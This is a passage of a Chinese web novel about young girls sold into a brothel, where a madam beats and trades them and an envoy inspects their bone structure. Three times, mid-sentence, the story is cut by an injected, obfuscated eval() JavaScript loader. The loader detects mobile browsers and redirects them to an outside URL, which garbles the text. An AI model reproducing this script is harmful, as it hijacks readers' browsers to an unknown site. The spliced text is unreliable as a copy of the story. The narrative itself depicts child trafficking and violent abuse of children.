陈妈妈手上的女孩儿够数了,本不想要。因卖蕊衣的李婆子是占春芳合作最长的人牙子,在官面上也吃得开,她好说歹说,陈妈妈才答应验看。 还没拿出软尺,蕊衣就迫不及待地撸起了袖子,露出胳膊,说从前村子里的男孩儿都夸她白。随即转着圈展示自己,说自己是最漂亮最讨人喜欢的,村里的男孩儿都喜欢她,女孩儿们都嫉妒她。 她得意地问陈妈妈:“怎么样?我是不是最漂亮的?” 陈妈妈看着,蕊衣甜美的长相称得上不错,配上她活泼的性情,第一眼非常惹人喜爱。可占春芳最不缺漂亮女孩儿,蕊衣的模样不算突出。且和其他被精挑细选的甜美姑娘比,她的模样依赖年龄这个前提的程度更大。 陈妈妈并非标准美的绝对拥趸,她从前见过有缺陷的美人。但这一类美人,对面部整体的要求更高。脸型、头骨、五官配合得好,单看是缺点,合起来就成了亮点。要再有气质上的加成,未必没有花魁之资。 蕊衣的骨相和五官,让陈妈妈的心有点悬。 如今还小,孩童的皮肉和婴儿肥遮掩了一切,长大后是变美人还是泯然众人就很难说了。 测试环节里,蕊衣大多数的表现没问题,但是数铜板和理丝线很不出彩。铜板数了三次都没对。理丝线时更是焦躁,越理越乱,最后干脆将线团往地上一扔,当场就要哭。眼泪还没掉下来,就被李婆子一巴掌呼了上去。 李婆子如此暴躁,陈妈妈是没见过的。她当时想,大概是李婆子怕她拒收,才动了火气。 陈妈妈没有拒收,而是以模样潜力不够和测试表现不好为借口和李婆子几番讨价还价,把价格从十三贯打到了十贯。 之所以肯收下蕊衣,不单单是为了维护和李婆子的关系,还因为蕊衣表现出的热情。 这孩子一进占春芳,就不停打量着从她身边走过的姑娘和客人们,目光中有着强烈的渴望。 她进门第一句话就说:“爹爹说我会被带到一个只有漂亮女孩儿才配住的地方,能被更多男孩儿喜欢,会得到好多好多衣裳和首饰,是这里吗?” 其他的姑娘来青楼时,有痛哭的,有反抗的,有懵懂的,有认命的,有识时务的,但像蕊衣这种思想上和青楼如此完美合拍的女孩儿,陈妈妈是从来没见过。 如此想要融入,让陈妈妈颇为欣喜,觉得这孩子调教起来省心省力。 对数不敏感,手不巧,不是大问题。哪有十全十美的人?反正不是傻子,只要多教教就好了。 陈妈妈对蕊衣还是抱有相当的期望的。 然而她很快就失望了。 这姑娘活泼过了头,第一天,她看上了同屋姑娘的绢花,人家不给,她就动手抢。 由于对蕊衣第一印象不错,再加上觉得孩子不过九岁,陈妈妈便没有计较,只是口头说了一顿。 结果第二天,蕊衣看上同屋姑娘的铜镯子,又上手抢。陈妈妈让人用木板打了她十下手心,以示惩戒。 本以为会长记性,谁想才消停了一天,这姑娘不但故态复萌,还变本加厉了。蕊衣跑去了另一个屋子,抢一个名叫霓锦的姑娘的衣裳。 霓锦在陈妈妈眼中,是模样仅次于姜晗和云裳的女孩儿,娇艳动人,人又乖巧。 乖巧不是没脾气,蕊衣抢衣裳,霓锦怎么能答应?二人争执,衣裳就被扯破了。霓锦还没哭,蕊衣倒哭了起来,嚷嚷着她喜欢的衣服被弄破了,让霓锦赔。 陈妈妈怒了,让人狠狠抽了蕊衣三十藤条。她警告蕊衣,再敢抢别人的东西,就等着挨附骨水鞭子吧。 蕊衣进占春芳时间晚,没见识过别人挨附骨水鞭子时的凄惨模样,她脑子没有概念。但是三十藤条抽在背上是真的疼,蕊衣老老实实养了两天的伤。本来今天还想继续养着不上课,陈妈妈怎会容许?让人把她拽下了床。 除了争抢,更让陈妈妈失望的,是蕊衣的课堂表现。 因比其他人晚来一个多月,落下了不少内容,陈妈妈不免对蕊衣多费些心思。 本来以为这向往做花魁的姑娘会认真学习赶进度,没成想根本就是个草包。 云裳是装差,蕊衣的表现已经不能说差了,只能用匪夷所思来形容。 礼仪课,她和云裳堪称双煞。二人掉碗是叮铃当啷,你追我赶。 尤其让陈妈妈大跌眼镜的,是蕊衣蒙学课上不可思议的表现。 教蒙学的刘先生,原是半个时辰上课,半个时辰看着学生做作业。因为蕊衣中途到来,刘先生改了教学安排。前半个时辰,让其他人自行温书,他给蕊衣单独讲课。后半个时辰,蕊衣做作业,他给其他人上课。 刘先生担心若先给别人上课,蕊衣什么都不懂,只能傻乎乎地坐着。到时候云里雾里,脑子可能犯迷糊,影响了学习兴趣和效率。 刘先生费心思,可是他很快发现蕊衣不值得他这么费心思。 第一天,蕊衣就逃学了。 陈妈妈的人找到她时,她正趴在围墙的花窗上听前院的姑娘们说笑。 第二天,蕊衣又逃学了。 陈妈妈要给她教训,被刘先生拦住了。小孩儿逃学不算稀奇事,刘先生认为暂时不需要上纲上线。 第三天,蕊衣不逃学了。 但刘先生觉得,这孩子还是逃学吧。 蕊衣上课不太能集中注意力,有点儿坐不住,这不奇怪,坐得住的小孩儿才是少数。 刘先生反感的是蕊衣喜欢上课打岔。 别人的打岔,要么是提问或者正当理由,要么就是孩子常犯的错误,开小差和旁人说话。 蕊衣的打岔与众不同。 她想说就说,毫无预兆,声音响亮,且语不惊人死不休。 “先生,读书最无趣了,我讨厌读书。”这是蕊衣说的最正常的一句话。 “先生,能不能教我讨男孩子喜欢的东西?” 此话一出,女孩儿们侧目,刘先生尴尬。 他一个五十多岁的人了,只是在青楼教书,没有龌龊的打算,怎么回答?就算他是个老不羞,也不可能在课堂对着九岁的女孩儿说有的没的。 可转念一想,虽说此地是青楼,但才来没多久的九岁小女孩儿怎么可能懂什么男孩喜不喜欢?一定是被前院乱七八糟的言语影响的。这孩子肯定不知道自己说的话意味着什么。 刘先生就教她,课堂是有纪律的,不能随便说话,开口前要先示意。就算说话,有的话也不能说,尤其涉及男男女女的,不要在课堂上讲。但是蕊衣没听进去,翌日又问同样的话,还闹幺蛾子了。 当时,刘先生正给其他人上课,那本是蕊衣做作业的时间。 “先生,我不想做作业嘛。”虽然才教了蕊衣一天,但刘先生觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478615|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得这句话从她嘴里说出来并不奇怪。 让他受不了的是,蕊衣是挤眉弄眼地扭着走到他面前,嗲声嗲气地说。九岁女孩儿的嗓音本有自然的甜糯,但蕊衣刻意的音调,甜糯变成了鸡皮疙瘩。不等刘先生责备,蕊衣伸出手要拽他手臂,这令他忍无可忍。 蕊衣是在模仿。 李婆子带她进入花街时,她听到路边许多姑娘都用这样的语气对男人说话,看到她们拽着男人的臂膀甩来甩去。 蕊衣不知道自己做这些多么不适宜,她只看到那些姑娘如此作态,男人都受用得很。 可是刘先生不受用。他不管蕊衣是哪儿学的,只觉得再不惩治,其他女孩儿若是有样学样,课堂还不乌烟瘴气? 他用戒尺狠狠打了蕊衣的手心。蕊衣挨打后哭个不停。刘先生让她别哭,她就哭得越大声。 私塾学社,体罚学生是常态。刘先生不惯着,又打了蕊衣的手心,表示再哭再打。 蕊衣学乖了,没再哭出声。 课后,刘先生和陈妈妈说,若蕊衣下次再言行失当,就不要上自己的课了。 陈妈妈忙和刘先生赔不是。 那是蕊衣来占春芳的第四天,也是她抢霓锦衣服的那一天。 罚的那三十藤条,不止是蕊衣抢东西,还有她课上的不当言行。 陈妈妈边打边骂:“当你是块璞玉,结果就是块破石头,还是茅坑里的石头。尽学下处那些没本事的废物,你当老娘这儿是泔水桶吗!” 本来陈妈妈想让蕊衣尝尝附骨水鞭子和困立锁的双重套餐,可想到花迎使即将到来,她忍住了。打算等花迎使的事了了后,自己再让蕊衣知道厉害。 虽才来了七天,但蕊衣实际上只用短短四天,就把陈妈妈对她的好印象通通打破。 看着蕊衣坐在地上撒泼的模样,陈妈妈总算理解李婆子当时为什么暴躁了。这还不如个傻子呢。 足够漂亮的傻子只要少说话,安静时的呆滞反而有种清澈的愚蠢,说不定有的客人就喜欢这口。 蕊衣不傻,但格外难教。 客人可能会喜欢呆呆的笨蛋美人,但不会喜欢粗鄙的笨蛋美人。 陈妈妈确定了,再在蕊衣身上花心思就是个错误。没必要为这么个东西浪费调制不易的附骨水,也不必费心思用困立锁教训,最重要的是,没必要为了蕊衣浪费自己的银子,早点脱手卖了算了。 但卖蕊衣不一定好卖。 正常而言,占春芳淘汰的姑娘,放堂子也能做招牌了。可短短几天就卖,堂子那些稍微有点脑子的老鸨就知道陈妈妈肯定是急于出手,姑娘可能有大问题,就算肯买也会压价。 卖给下处的老鸨也不是不行,那些个老鸨不看才华性情只看脸。蕊衣的容貌和云裳没得比,但也算个小美人了。问题是,下处老鸨能否让自己回本。 买蕊衣花了十贯,置办衣服花了八贯,七天的吃用没花多少。可蕊衣弄坏了霓锦的衣服,陈妈妈重新置办又花了钱,算上足有二十贯。 下处的人会花买她吗?她们或许会花大价钱要云裳这样的绝色,但真的会花二十贯买蕊衣吗? 陈妈妈头疼。 转念一想,或许可以把蕊衣和云裳一起打包卖。赚的可能少了点,不过可以回本,还能解决麻烦。 卖云裳是为震慑,卖蕊衣是为止损。可就算止损,还得靠着云裳才能止损。 陈妈妈指着蕊衣,对人道:“堵上嘴,把她捆起来,丢一边儿去。” 对着被绑缚的蕊衣和云裳道:“是去是留,就看你们一会儿的运气了。” 就在这时,下人来报,花迎使到了。 12. 花迎使 一个姿容绝俗的女子款款而来。分花拂柳之态,恍若月宫仙子。 世界仿佛陷入了停滞。 饶是姜晗,也不由沉醉于她的绰约风姿。 不少姑娘头上的水碗又一次掉落在地,这次陈妈妈没有指责她们。她来到那女子身边,谄媚道:“属下无能,扰了花迎使休息,实在是罪过。” 小心翼翼觑了眼对方的神情,见并无不快,陈妈妈略安心了些。不由更恨闹腾的云裳和蕊衣,若是花迎使觉得自己管事不利,岂有好果子吃? 花迎使对地上的二人视若无睹,安慰陈妈妈道:“这样的人,不稀奇,不必忧心。” 美人的话无情,但声音实在好听。 姜晗不禁感叹着。她神思飘忽,没注意到花迎使来到了自己的面前。 “伸出你的双手。” 闻言,姜晗回神,有些莫名,却还是乖乖伸出手。花迎使细细观察她的手掌,三指搭在尺寸关上把脉,过了好一会儿,又道:“鞋袜脱了。” 姜晗愣了愣,随即拿下了头顶的水碗和腿间的纸,脱了鞋袜露出两只脚。 “左脚抬高,露出脚底。” “右脚抬高,露出脚底。” 花迎使点点头,“穿上吧。” 姜晗穿上鞋袜,将水碗重新放在头顶上,双腿重新夹着纸。 花迎使摸了摸姜晗的脊柱、肩膀和四肢,没再说话,向下一个女孩儿走去。 眼看就要到下一个女孩儿面前,花迎使突然杀了个回马枪,又到姜晗跟前,把手扣在她的肩上,狠狠一捏。 姜晗吃痛,忍住没出声。头顶的水碗晃了晃,几滴水撒了出来。 花迎使看了看姜晗头顶上的水碗,又用脚踢了踢姜晗的小腿。 姜晗忍不住嘶了一声,水碗依旧没掉。 “你叫什么名字?” “她叫怜侬。不管样貌还是潜力,在这批姑娘里都是拔尖儿的。”陈妈妈答道。 “我问的是她,不是你,潜力我会判断。”花迎使冷冷斜睨了陈妈妈一眼,转头又问姜晗,“你叫什么名字?” “我叫……” 姜晗这两个字在姜晗的齿间反复着,最终冲出双唇…… “怜侬。” 那两个字,才冲出双唇,便被风刮个干干净净。 她低头闭眼,克制着自己心窍翻滚的凄冷。 哐啷一声,水碗掉在了地上。 “这个怜字取得妙。”花迎使轻轻抚上姜晗的脸。 经过占春芳一个半月的调理保养,姜晗的皮肤变得白嫩许多,剃头后,重新长出的头发不再枯黄,只是个子和肉都没怎么长,还是女童里最瘦小的,但这不妨碍花迎使欣赏她的美。 温婉的底色如清露胧烟,恰到好处的鲜妍仿佛霁月流霞。纯粹被一层若隐若现的水雾笼罩,皎洁外绕着几缕不多不少的昳艳。不寡淡,亦不咄咄逼人,不孤高,亦不随波逐流。似那灵秀的山水,第一眼便牢牢锁住人的目光。 山水天然是令人流连忘返的。一座翠峰,一汪清泉,一树绮花,一步一景。间或窜出一条灵狐和一道山鬼的身影,令人忘乎所以地追逐,穿过数株氤氲着云气的妖冶桃树,终于在不为人知的所在,发现一处深潭,兀自倔强地清冽着。 它是被遗失的一片,只有凌空的明月知它,投以银辉,倒影浮光,碎波涟漪,如仙似魅。 轻扫蛾眉,是若即若离的在水伊人。若在一二处绘艳着彩,便好似如雪荼蘼架下的一支盛放红罂。 淡妆素颜,百无禁忌。浓抹细笔,韶华胜极。 只是外表再出众,在风月场,不过就是一件更值得把玩的珍奇玩物罢了。和这些无关紧要的外在条件比起来,这孩子的武学根骨才真正令人惊叹不已。 经脉通广,丹田如鼎,气海深阔,骨重筋长,龙脊挺韧,指掌灵动,足弓如桥,下盘稳当。 这样的天赋,真好。摸着姜晗的脸,花迎使的眼中有着让人看不懂的怀念和欣慰。 迅速闭上眼再睁开,花迎使目中又是一片清明,她温和笑道:“香梨欺雪白,碧桃沾雨红。海棠垂丝袅,杨柳弄春娇。清而不寒,妖而不浮,媚而不俗,柔而不弱,果然楚楚动人。” 拾起碗,把它放在姜晗手中,“站稳了。” 姜晗看不懂花迎使眼中的怀念,更不懂的是,她是怎么从自己这个只有头顶两侧留了头发的八岁小孩脸上看出花草树木的? 花迎使开始查看其他女孩的手足和根骨。小女孩儿们见识她之前对姜晗做的,一个个不免紧张,不过她倒没有对她们又捏又踢的。 过了许久,花迎使结束了验看。 “您可有看中的?”陈妈妈问。 “有两个。” “只有两个?” 花迎使道:“二十多个里有两个,不算少了。怎么安顿她们,不用我再嘱咐吧。” “属下明白的,您放心。” 花迎使看到地上的小姑娘,笑道:“差点忘了,这还有两个。绑着我没法看,松开。” 下人给云裳和蕊衣松绑。 花迎使还没走到蕊衣跟前,蕊衣已经自行拿出堵嘴的东西,坐在地上蹬着腿哇哇大哭。 见花迎使皱眉,陈妈妈立刻重重甩了蕊衣两个巴掌,“再哭,我就割了你的舌头。” 感受到脸上的疼痛和话里的危险,蕊衣害怕得噤了声。 “站起来。”陈妈妈厉声。 蕊衣慢吞吞起身。 花迎使认真检查她的身体,点了点头,“可以。” 陈妈妈惊讶,“啊?” 花迎使瞟了她一眼,“怎么,你觉得不行?” 陈妈妈连连摇头,“不不不,属下绝对没有这个意思。只是没想到,这个竟然……”她一脸嫌弃地看着蕊衣。 花迎使笑笑,“她天分尚可。” “只怕难教。” 花迎使又笑道:“修行在个人。她若不知珍惜,白白浪费了机会,到时候也怨不得别人。” 转向云裳,“你起来,让我摸骨。” 云裳立刻爬起,走到花迎使面前,满脸期待地看着对方。 她不知道眼前的女子是谁,不知道花迎使是干什么的,但是不用猜也知道对方就是陈妈妈所说的贵客。看陈妈妈如此恭敬,她就知道,这是自己唯一的机会。 连蕊衣那样的都能被选中,自己出身好、读过书、长得美,更会被选上了。 花迎使瞧着云裳。 她向来喜欢美人,见到漂亮女孩,总会多看两眼。 云裳小巧的瓜子脸不过巴掌大,不画而浓的上扬羽玉眉配上丹凤眼,极具冲击力。小翘鼻精致俏皮,唇若樱桃,不点而朱。 容色极艳。 这艳不是牡丹。牡丹的艳是雍容的,女孩的脸蛋儿精致到了锋芒毕露的地步,足够张扬,却缺了些端和。 这艳不是桃花。桃花的艳是妖媚的。丹凤羽玉妩媚之余,更多是不容侵犯的凌厉。 她是玫瑰,是庭院沃土中傲然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478616|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绽放的一簇簇鲜红的玫瑰。在正午骄阳的照耀下,越发灿烂夺目,馥郁的香气令人头晕目眩,却难移半步。更有一股子就该如此的骄纵,融合了少女天然的贵气,和她的高挑身量相得益彰,显得气场十足。 “没想到啊。”花迎使对陈妈妈道,“一个怜侬,还有眼前这个,各有千秋,竟然都到你占春芳了。” 这话语,明显是对自己样貌的赞叹。云裳的心越发笃定,期待的目光里溢满了欣喜。 花迎使转头望了一眼姜晗,又回过头看了一眼云裳。 两个女孩儿,给人截然不同的感觉。 若说姜晗是被藏于枕畔床帷不容任何人多看一眼的禁脔,是让人怜爱却不知不觉蛊惑人心堕落的祸水。云裳便是雕梁画栋中万众瞩目的尊贵千金,是三千宠爱在一身的宠妃。 前者是王朝乱世的开端,后者是盛世王朝的点缀,都是史书天然的祭品。 宠妃往往是骄矜的,这骄矜便是玫瑰的刺,是保护的盾,亦是伤人又伤己的矛。她必须永远立于不败之地,否则一旦被打入冷宫,便人人都能踩上一脚。 如果骄矜太过,碰壁之后又骄矜尽折,涕泗横流的,就似一副工笔重彩被泼了一层毫无章法的浓墨,显得不伦不类。因笔触精细,色彩繁多,难以修改,又因画中金粉的掉落,顿失艳光。 把了许久的脉,花迎使遗憾地叹息,“经脉闭塞,丹田有漏,不行。” 一声不行,云裳的笃定、期待、欢喜,通通被打碎。 怎么可能? 她刚刚不是夸自己长得好吗? 蕊衣都能被选中,自己为什么会落选? 陈妈妈冷笑,“看来,你没有蕊衣的运气。” 云裳扑通一声跪下,“花迎使,您再仔细看看,我……我可以的。求您了,留下我吧。” “留下你,你能做什么呢?”花迎使好奇地问。 “我……我……我愿意做您的使唤丫头,为奴为婢,您让我干什么都成,求您了,让陈妈妈把我留下来吧,我不能去下处啊。” 听到这话的姜晗心想:云裳完了。 陈妈妈和花迎使要的不是丫鬟,只是被驯服的商品。更何况,花迎使到底做什么的,她们都不知道。虽说对方的权力比陈妈妈更大,但至少现在明面上占春芳的管理人是陈妈妈。除非涉及花迎使的原则、立场和利益,否则她不会轻易推翻陈妈妈的决定。 可惜云裳还小,总不能要求一个孩子想得多深。面对陈妈妈这样的恶势力,成年人也难应对。再加上云裳有些傲气,骤然遭难又难以接受,慌不择路,把两个人都得罪了。 果然,就听花迎使淡淡道:“下处的女子那么多,人家去得,你当然也去得。占春芳的负责人是陈妈妈,她如何处置你,与我何干。” 云裳不想对方竟然说出这样的话来,情急之下,拉住了对方的衣角,还要求饶。 陈妈妈赶忙上前一把拉开小姑娘,“你是什么东西,敢质疑花迎使,还敢拉扯她衣裳。抽十下附骨鞭,卖去下处。” 云裳剧烈挣扎着。这时,许妈又出声,“其实有个更好的去处。五老太要做瓶女,这丫头模样如此出挑,五老太可不稀罕吗?她之前做了一个,模样一般,却也赚得盆满钵满。现在,她就求上等货,一开始出价还不到三十贯,昨儿我听说,只要有顶级货,她愿出六十贯。云裳这般容色的,您讲讲价,没准能卖更高。” 陈妈妈觉得这买卖的确更划算,正想点头,突然耳边传来一声等等。 13. 求情 姜晗看到所有人都盯着自己,这才后知后觉明白脱口而出的人不是别人,就是她自己。 竟然犯了这么严重的错误。 她怎么能开口呢? 怎么办?说过的话难道还能吞回去不成? “等等?”陈妈妈盯着姜晗,“今儿个是怎么了,一个两个,都要教我做事不成?你……” 本欲教训,想起花迎使在场,又想起她对姜晗颇为关注,便调整了语气,“你想说什么?” 姜晗内心盘算着,自己冒失开口,已经惹了对方生气,既然覆水难收,索性争取一下。况且,花迎使刚刚对自己有些特殊,说不定自己也是被选中的,没准最多就是挨一顿打。 若自己猜错了,花迎使并没有选中自己,那就不得不做最坏的打算了。 他们如果也要把她和云裳一起卖给五老太的话……姜晗的余光瞄到陈妈妈身边护卫腰间的匕首。 真到了那一步,就来个鱼死网破,最好捅死陈妈妈,一换一,不亏。运气差抢不到匕首的话,她的命,生不能掌控,死也得自己做主,绝对不能被五老太那种采生折割的人渣糟蹋。 不过现在的位置和距离,说什么抢匕首那是痴人说梦,得先靠近陈妈妈。 强迫自己镇定,姜晗露出一副怯生生又讨好的表情,“妈妈,我能到您面前说吗?” “有什么话,现在就说。” 姜晗咬了咬唇,做出一副有点不知所措的模样,犹豫道:“妈妈,因为云裳和蕊衣,已经耽误其他姐妹练习了,总不能又因为我多嘴,继续耽搁。而且,我当着众人面说,说得不好,遭人耻笑是小,显得辜负您的教诲就不好了。妈妈全当给我一个恩典,到您跟前后,您若觉得我说得不对,多嘴和失礼的罪过,您惩罚就是。” 陈妈妈瞧了姜晗一会儿,觉得这丫头说得也对。真让她当着所有人的面说,岂不是给了她当众质疑自己权威的理由?这丢的总归是自己的脸。 点点头,“行,你过来。”横眉对所有姑娘道,“你们都给我好好站,谁再摔了碗,和云裳一块儿滚。” 姜晗回忆着这几日的礼仪教学,努力控制着自己的步伐。虽然不够完全自然无痕,但也符合规范,算得上婀娜。陈妈妈见状也不催促,等着她走上前来。 走到陈妈妈身前,姜晗不动声色地在更靠近护卫的地方站定。 这个距离,右手拔匕首的话,应该差不多了。 姜晗思忖着,轻声细语地说:“妈妈,将她卖给五老太,您钱是多了,可未必是好事啊。” “不是好事,还是坏事不成?” “钱是好事,可是五老太这样的人,带来的只有麻烦。妈妈,咱们占春芳是吟书班,头上的天是教坊司、是朝廷。咱们和那些乌七杂八的所在不一样。虽说云裳还不是官妓,您怎么发落都无妨,可如果被有心人知道了,难免不会有流言蜚语。“ 见陈妈妈若有所思的样子,姜晗心道有门。 继续说:“想要吟书班名号的青楼那么多,一个两个的,都盯着您。她们若搬弄口舌是非,用损招在官府面前抹黑咱们占春芳,岂不是砸了我们的招牌?今日花迎使到来是喜事,为一个不知进退的丫头,惹得您和花迎使不快,得不偿失。” “呵呵,说话一套一套,还文邹邹的,真不像个小孩子,你难道也是官宦人家的女儿?”想着蒙学课上姜晗表现十分出众,陈妈妈不由真的怀疑她身世了。 “妈妈玩笑了,怜侬只是农女出身。只不过从前有位教书先生在家中借住过一段时日,我才沾光认了几个字,懂了点道理。遭了难,一路流浪,长了些见闻。这段时日又被妈妈尽心教导,才更长进了些。” “那你说,我该怎么处置?” “怜侬年幼,哪懂这些?妈妈才是执掌占春芳之人。您宽宏大度,才容我在这儿大放厥词,怜侬岂敢再冒犯。” 陈妈妈沉默了会儿,末了,轻轻一笑,“说得对,花迎使到来才是大事,何必为一个小丫头浪费时间。妈妈我爱钱,却也没那么见钱眼开。占春芳的招牌,不能砸了。抽她十鞭子,把她卖去下处。”转身对花迎使道,“您看,这样行吗?” “我说过了,占春芳是你负责,怎么处置姑娘,是你的事。” 陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478617|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈妈招了招手,两个壮汉上前,将还在挣扎的云裳又捆了起来,往外拖走。 “妈妈不要卖我,我听话,我好好学,我听您的,我全听您的,我再也不闹了。怜侬,你帮帮我,帮帮我。” 姜晗无动于衷。 “怜侬,你再帮我说说话吧。” 见姜晗依然不开口,云裳大喊:“怜侬,你为什么不帮我!为什么……” 求救声越来越远,但是那双夹杂着怨恨的眼,从未远去。 陈妈妈对姜晗道:“你不给她求情?” “怜侬从不是为她求情。先前怜侬所言,是为占春芳。妈妈现在惩处她,也是为占春芳。既然都是为占春芳,那作为占春芳的一份子,我为什么要多话呢?” 姜晗知道,凭云裳的相貌,陈妈妈若只想赚钱的话,就算不卖去其他吟书班,也能卖去堂子。最开始就说下处,明显是想杀一儆百,所以云裳留在占春芳是不可能的了。 花迎使这样的人物都不干涉陈妈妈的决定,她姜晗算老几? 她只是不想对方沦落为五老太手中的怪物,但强帮云裳留下,只怕到时候就是杀“二”儆百了。自己真的能凭花迎使对她看似欣赏的只言片语,就确定她会帮自己说话吗? 姜晗不敢赌。 “你知道五老太的身份?”花迎使问姜晗。 姜晗道:“回花迎使,我只是知道她做过什么。” “知道她做过什么,你还敢开口?” “知道她做过什么,我才须开口。” 花迎使深深看了姜晗一眼,“升米恩斗米仇,那个女孩儿并不感激你。” “我不是为了施恩,她自然无须感激。如果她因此恨我,那也是她的事。” “人有时候,是会钻牛角尖的。”花迎使笑笑,“说不定有朝一日,你与她境遇对调。到那时,你可能是今日之她,她却不会是今日之你。” “那我就不让自己有那一天。” “那你要怎么才能不让自己有那一天?” 姜晗凝视着对方,似乎领悟到了什么。 “请花迎使教我。” 14. 善 巳正,三下锣声响起,意味着可以休息了。 对姜晗的求教,花迎使不置可否,而云裳的离去,则让大多数人的头顶上都多了一片阴霾。 姜晗在后院小花园的角落复习才学的礼仪。 占春芳很大,她们这批姑娘都被安置在后院。 前院是占春芳做生意的地方,也是接客姑娘们的住处。后院是所有受训姑娘居住和学习的地方,也是陈妈妈的住处。两院被围墙隔断。后院姑娘不得离开后院半步,前院姑娘没有准许,也不许去后院。 后院临着河,河的对岸不是花街。如果忽略那常年上锁的后门,以及不停巡逻的魁梧护院和恶犬的话,自由实际离她们很近。 今天她有惊无险,该是入了花迎使的眼。这有好处,也有坏处。好处当然是待遇上的倾斜,坏处,当然也是因为待遇上的倾斜带来的。 蛋糕就这么大,姜晗多了,人家就少了。都是同一批姑娘,凭什么就你入了人家的眼,凭什么就你得脸? 占春芳这样的环境,别以为都是小女孩儿就是天真无邪你好我好大家好的,争抢是不分年龄和性别的。 绝对的差距让人畏惧,相对的差距让人嫉妒。 往后的日子,不会好过。明里暗里找茬的不会少,就算只是些小麻烦,次数多了,难免不会量变到质变。 推一把,绊一跤,弄坏她的作业,藏起她的东西,鞋子里插根针,衣服里放个刀片什么的,防不胜防。 自己前脚才和花迎使说绝不陷入云裳的境地,后脚就阴沟里翻船,这不自己打自己脸吗? 姜晗边复习边思量着,忽然察觉一片阴影投在了地上。抬头,就见七八个女孩儿气势汹汹地站在自己面前。 这么快? “怜侬,你太过分了。”为首的轻芳红着眼道,“你害了云裳,一点都不难过吗?” 姜晗冷冷看着她。 轻芳目光朝别处瞟了瞟,昂起脖子道:“你明明可以救她,为什么不救?” “就是。”其他女孩子附和着,“怜侬,你既然能说动陈妈妈,不让云裳去什么老太那儿,为什么不帮人帮到底?” “没错,你这帮了还不如不帮,太虚伪了。” 轻芳怒道:“云裳是我最好的朋友,我一直把她当姐姐看,却被你害得去了下处,你赔我的朋友,你赔我的好姐妹!” 对女孩儿们招手道,“怜侬害了云裳,我们一起为云裳教训她,大家快来打她。” 众人一拥而上,把姜晗围在了中间。抓胳膊的抓胳膊,扯衣裳的扯衣裳,捶打的捶打。 轻芳盯着姜晗的脸,举起留着指甲的手,就要狠狠挠上去。 “真好。”姜晗心里想,“你自己送上门来,就别怪我拿你开刀。” 她一脚踹向右边抓她胳膊的女孩儿,女孩儿一个吃痛,手一松,姜晗的胳膊瞬间挣脱开。在轻芳的爪子挠到脸上之前,姜晗抡起手臂就对轻芳狠狠打了一耳光。 轻芳的面孔红肿,头绳落地,散开的那撮头发贴在光光的脑袋上。 大家因这番变故有些发懵,抓着姜晗的手松了点。 姜晗趁机离开包围,冲到轻芳面前,抓着对方的衣襟,又送了对方四个耳光,把她踹倒在地。 轻芳手撑着地,吐了一口血沫。她惊恐地发现,血沫里竟然还有两颗牙齿。 众人见到这一幕,都慌了神,一动也不敢动。 姜晗理了理衣裳。 这些个小女孩都娇弱得很,便是从前也干过农活有几分力气,可怎么比得过天生力气比男孩还大的姜晗? 她并未停手,拽着离自己最近的人的小发鬏,也狠狠送给对方两个耳光。 “你们一个个的,当我好欺负不成!” 眼睛一瞪,嗓子一吼,把原本就害怕的小姑娘们更是吓了一跳。 轻芳捂着脸起身,她没想到会是这样。 印象中的姜晗,是个瘦小的乖乖女。平日里基本都把时间花在练习上,和人聊天虽然不多,但交流时很和善,与云裳的高傲完全不同。云裳是生人勿进的,姜晗是看起来好欺负的。这也是轻芳纠集众人来找麻烦的理由之一。 她看姜晗不顺眼很久了,而在姜晗今日得到花迎使青睐后,再也压抑不住嫉妒,便想给她一个教训。和她同样想法的,不在少数。 年纪尚小的轻芳不会什么弯弯绕,她想到的就是把姜晗打一顿。如果妈妈问起,她就死不承认。 毫无心眼,全是情绪。 姜晗从没想着等待陈妈妈给自己做主。 陈妈妈不是公平公正的裁决者,而是拥护弱肉强食的旁观者。姜晗知道,自己是她看重的苗子,去告状,陈妈妈多少会偏向自己一些。 可她更知道,如果连这几个找茬的都对付不了,陈妈妈也会失望。一次两次无妨,时间久了,失望就会变成放弃。 占春芳是不讲道理的。妓院讲道理的话,就不会有妓院了。 “好姐妹?好朋友?笑话!云裳素来不喜欢和旁人多话,什么时候突然冒出来你们这群好朋友?你们一个个的会喜欢云裳?是谁一天到晚说云裳假清高?是谁一天到晚说云裳不讨喜?给我站出来!出来!” 小姑娘们一时有些心虚的你看看我,我看看你。 姜晗一步上前,靠近轻芳,虽然个头矮,却逼得对方眼神躲闪。 